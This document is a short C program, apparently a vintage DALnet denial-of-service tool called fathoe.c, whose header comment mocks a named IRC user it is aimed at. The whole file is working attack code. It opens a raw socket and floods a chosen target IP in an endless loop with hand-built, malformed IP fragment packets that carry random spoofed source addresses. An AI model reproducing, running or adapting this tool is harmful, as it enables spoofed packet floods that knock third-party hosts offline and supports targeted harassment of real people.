char about[] = "fathoe.c by Sorcerer of DALnet";

/*

 I've been told that some of my previous script comments about malkman
 (of DALnet) weren't very nice, so, being the kind person that I am, I
 decided to make this script in commemoration of malk and his mom.

*/

#include <stdio.h>
#include <netinet/ip.h>
#include <stdlib.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>

#define DELAY 10000    /* a nice blatantly arbitrary value */
#define PROTO 1        /* I haven't had much luck with others */
#define IP_CE           0x8000          /* Flag: "Congestion"           */
#define IP_DF           0x4000          /* Flag: "Don't Fragment"       */
#define IP_MF           0x2000          /* Flag: "More Fragments"       */
#define IP_OFFSET       0x1FFF          /* "Fragment Offset" part       */


struct frag {
   struct iphdr ip;
   unsigned char data[2];
};

int starttime,packets=0,bytes=0;

void sig_proc(int signum) {
   printf("time:%ds packets:%d bytes:%d\n",time(NULL)-starttime,
	  packets,bytes);
   exit(1);
}

main(int argc,char *argv[]) {
   struct frag buf;
   int sock = socket(PF_INET,SOCK_RAW,PROTO),one=1;
   struct sockaddr_in targ;
   unsigned char typ=0,len;

   if((sock==-1) ||
      (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)))
       ) {
      fprintf(stderr,"failed to create raw socket\n");
      exit(1);
   }

   if(argc<2) {
      fprintf(stderr,"use: %s <target>\n",argv[0]);
      exit(2);
   }

   printf("%s\n",about);

   targ.sin_addr.s_addr = inet_addr(argv[1]);
   targ.sin_port = 0;
   targ.sin_family = AF_INET;

   bzero(&buf,sizeof(buf));

   buf.ip.version = 4;
   buf.ip.ihl = 5;
   buf.ip.tos = 0;
   buf.ip.protocol = PROTO;
   buf.ip.check = 0;
   buf.ip.daddr = targ.sin_addr.s_addr;
   
   starttime = time(NULL);
   srandom(starttime);
   signal(SIGHUP,&sig_proc);
   signal(SIGINT,&sig_proc);
   signal(SIGQUIT,&sig_proc);
   signal(SIGILL,&sig_proc);
   signal(SIGABRT,&sig_proc);
   signal(SIGFPE,&sig_proc);
//   signal(SIGKILL,&sig_proc);
   signal(SIGSEGV,&sig_proc);
   signal(SIGPIPE,&sig_proc);
   signal(SIGALRM,&sig_proc);
   signal(SIGTERM,&sig_proc);
   signal(SIGUSR1,&sig_proc);
   signal(SIGUSR2,&sig_proc);
   signal(SIGCHLD,&sig_proc);
   signal(SIGCONT,&sig_proc);
//   signal(SIGSTOP,&sig_proc);
   signal(SIGTSTP,&sig_proc);
   signal(SIGTTIN,&sig_proc);
   signal(SIGTTOU,&sig_proc);
   
   while(1) {
      if(typ) {
	 buf.ip.frag_off |= htons(127);
	 buf.ip.tot_len = sizeof(buf);
	 len += 1;
      } else {
	 buf.ip.ttl = 255 - (random() % 20);
	 buf.ip.id = random();
	 buf.ip.saddr = random();
	 buf.ip.frag_off = htons(IP_MF | IP_DF | 1);
	 buf.ip.tot_len = 0;
	 len = sizeof(struct iphdr) + 1;
      }

      typ^=1;
      
      bytes+=len;
      packets++;

#ifdef DELAY
      if(!(packets & 7)) usleep(DELAY);
#endif
      
      if(sendto(sock,&buf,len,0,&targ,sizeof(targ))==-1) {
	 fprintf(stderr,"failed to transmit packet\n");
	 exit(3);
      }
   }
}
